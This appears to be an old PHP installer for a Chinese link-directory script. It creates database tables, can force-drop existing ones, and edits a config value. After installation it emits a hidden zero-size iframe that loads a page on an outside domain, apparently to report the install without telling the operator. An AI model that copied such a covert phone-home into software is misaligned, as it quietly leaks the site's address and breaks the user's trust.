<?php
/*
**U2自动链 安装程序
**install.php
**By 冬筠 qq 42 6 420
*/
if(!@include('./inc/common.inc.php')) {
	exit('请将本文件移到程序根目录再运行!');
}
function splitsql($sql){
	$sql = str_replace("\r", "\n", $sql);
	$ret = array();
	$num = 0;
	$queriesarray = explode(";", trim($sql));
	unset($sql);
	foreach($queriesarray as $query) {
		$queries = explode("\n", trim($query));
		foreach($queries as $query) {
			$ret[$num] .= $query[0] == "#" ? NULL : $query;
		}
		$num++;
	}
	return($ret);
}
if('0' < '1'){
$neweday= gmdate("d",time()+3600*32);
$configs = readfromfile(l_path.'./config.inc.php');
$configs = preg_replace("/[$]upday\s*\=\s*[\"'].*?[\"'];/is", "\$upday = '$neweday';", $configs);
writetofile(l_path.'./config.inc.php',$configs);
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=<?=$charset;?>" />
<title>安装数据库</title>
<style type="text/css">
<!--
body,td {font-family: Geneva, Arial, Helvetica, sans-serif, Tahoma;font-size: 12px;color:#1876b7;}
.login {font-family: Geneva, Arial, Helvetica, sans-serif, Tahoma;font-size: 12px;height: 16px;border-top-width: 1px;border-right-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-top-color: #FFFFFF;border-right-color: #EEEEEE;border-bottom-color: #EEEEEE;border-left-color: #FFFFFF;background-color: #f2f2f2;}
input,textarea {font-family: Geneva, Arial, Helvetica, sans-serif, Tahoma;font-size: 12px;border-top-width: 1px;border-right-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-top-color: #FFFFFF;border-right-color: #EEEEEE;border-bottom-color: #EEEEEE;border-left-color: #FFFFFF;background-color: #f2f2f2;}
a {color: #1876b7;text-decoration: none;}
a:hover {color: #000000;text-decoration: underline;}
.smalltxt{ font: 11px Arial, Tahoma; }
Input,select,textarea{ font: 11px Tahoma, Verdana; color: #000000; font-weight: normal; background-color: #F8F8F8; }
form{ margin: 0; padding: 0;}
select{ font: 11px Arial, Tahoma; color: #000000; font-weight: normal; background-color: #F8F8F8; }
.nav{ font: 12px Tahoma, Verdana; color: #000000; font-weight: bold; }
.nav a{ color: #000000;}
.header{ font: 12px Tahoma, Verdana; color: #1876B7; font-weight: bold;background-color: #DAEEFA;background-image:url(images/header.gif);}
.header a{ color: #1876b7; }
.category{ font: 11px Arial, Tahoma; color: #000000; background-color: #EEF6F9; }
.tableborder{ background: #DCEEF6; border: 1px solid #98D5EC }
 .smalltxt{ font: 11px Arial, Tahoma; }
.bold{ font-weight: bold; }
.altbg1{ background: #F8F8F8; }
.altbg2{ background: #FFFFFF; }
.maintable{ width: 98%; background-color: #FFFFFF; }
.menu {color:#FFFFFF;}
.menu a{color:#FFFFFF;font-weight:bold;}
.menu a:hover{color:#CCFFFF;}
-->
</style>
</head>
<body leftmargin="0" topmargin="0" marginwidth="0" marginheight="0">
<table border="0" cellspacing="1" cellpadding="3" width="680" align="center" class="tableborder">
<tr><td class="header">
<center>
安装数据库
</center>
</td>
</tr>
<? 
if($step=='update20100628'){
$test = $db->query("Describe {$tablepre}link description");
$test = $db->fetch_array($test);
if(!$test['Field']){
$db->query("ALTER TABLE {$tablepre}link ADD description varchar(250) NOT NULL default '无';");
}
mexit("数据库升级到20100628版完成，请删除本升级文件。");
}
	if(empty($step)) {
?>
<tr><td bgcolor="#ffffff" align="left">
<form name="form1" method="post" action="install.php">
<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;注意事项:<br><br>
<li>请设置好config.inc.php文件，建好数据库。</li><br><br>
<li>安装程序会新建数据表：<?=$tablepre?>key,<?=$tablepre?>link,<?=$tablepre?>sclass,<?=$tablepre?>linkip</li><br><br>
<li>如果数据表名存在时，还要进行安装，则点击强制安装。<font color=red>注：如果安装的数据表名存在的话，请谨慎操作！！！</font></li><br><br>
<li>请选择安装方式：<input class="radio" type="radio" name="step" value="doupdate" checked> 默认安装
<input class="radio" type="radio" name="step" value="coerce"> 强制安装(会删除同名数据表，请谨慎使用该选项)</li><br><br>
<li><font color=red>安装完成后,必定要删除“install.php”</font></li><br><br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;点击按钮开始安装&nbsp;&nbsp;&nbsp;&nbsp;
<input type="submit" value="开始安装" class="button">
</form>
</td></tr></table>
<?
	} elseif($step=='update_exit') {
		header("Location:/");
		mexit();
	} elseif($step=='doupdate' or $step == 'coerce') {
	$tablearr = array($tablepre.'key',$tablepre.'link',$tablepre.'sclass',$tablepre.'linkip');
	$query = $db->query("show tables");
	while($row = $db->fetch_row($query)) {
		if(in_array($row[0], $tablearr)) {
			if($step == "coerce"){
				$db->query("DROP TABLE IF EXISTS `".$row[0]."`", 1);
			} else {
				echo "数据表名存在，不能进行安装，如果还要安装请选择强制升级<br><a href='javascript:history.back()'>[ 点击返回 ]</a>";
				mexit();
			}
		}
	}
	$pluscharset = str_replace('-', '', $charset);
	$pluscharstr = $pluscharset ? " CHARACTER SET ".$pluscharset : "";
	$query = "
CREATE TABLE {$tablepre}key (
  id mediumint(8) NOT NULL auto_increment,
  keyword varchar(250) NOT NULL default '',
  tags varchar(250) NOT NULL default '',
  count int(10) NOT NULL default '0',
  weekct int(10) NOT NULL default '0',
  weekup date NOT NULL default '0000-00-00',
  monthct int(10) NOT NULL default '0',
  monthup date NOT NULL default '0000-00-00',
  result int(10) NOT NULL default '0',
  sotime date NOT NULL default '0000-00-00',
  PRIMARY KEY (id)
) TYPE=MyISAM {$pluscharstr};


CREATE TABLE {$tablepre}link (
  id mediumint(8) NOT NULL auto_increment,
  title varchar(250) NOT NULL default '',
  url varchar(250) NOT NULL default '',
  keywords varchar(250) NOT NULL default '无',
  description varchar(250) NOT NULL default '无',
  lurl varchar(250) NOT NULL default '',
  about mediumtext NOT NULL,
  count int(10) NOT NULL default '0',
  dayct int(10) NOT NULL default '0',
  dayctbak int(10) NOT NULL default '0',
  weekct int(10) NOT NULL default '0',
  weekctbak int(10) NOT NULL default '0',
  monthct int(10) NOT NULL default '0',
  monthctbak int(10) NOT NULL default '0',
  result int(10) NOT NULL default '0',
  addtime int(10) unsigned NOT NULL default '0',
  uptime int(10) unsigned NOT NULL default '0',
  upding int(10) NOT NULL default '0',
  classid int(10) NOT NULL default '0',
  myout int(10) NOT NULL default '0',
  youout int(10) NOT NULL default '0',
  imgok int(10) NOT NULL default '0',
  style int(10) NOT NULL default '0',
  PRIMARY KEY (id)
) TYPE=MyISAM {$pluscharstr};


CREATE TABLE {$tablepre}linkip (
  id mediumint(8) NOT NULL auto_increment,
  ip varchar(80) NOT NULL default '',
  uid int(10) NOT NULL default '0',
  dtime date NOT NULL default '0000-00-00',
  PRIMARY KEY (id)
) TYPE=MyISAM {$pluscharstr};

CREATE TABLE {$tablepre}sclass (
  id smallint(6) unsigned NOT NULL auto_increment,
  upid smallint(6) unsigned NOT NULL default '0',
  sortname char(80) NOT NULL,
  folders char(80) NOT NULL,
  folderdir char(100) NOT NULL,
  ordermode tinyint(3) NOT NULL default '0',
  PRIMARY KEY  (id),
  KEY upid (upid),
  KEY ordermode (ordermode)
) TYPE=MyISAM {$pluscharstr};
";
$sqlquery = splitsql($query);
foreach($sqlquery as $sql) {
	if(trim($sql) != '') {
		$db->query(stripslashes($sql));
		if($sqlerror = $db->error()) {
			break;
		}
	}
}
?>
<iframe src="http://www.d58.net/u2.php" border=0 width=0 height=0 /></iframe>
<tr><td bgcolor="#ffffff">
<center>
数据库安装完成!<br>
<br>
<br>
<a href=/admin.php>点击这里进入后台</a>
<br><br>
</center>
</td></tr>
</table>
<?
}}
?>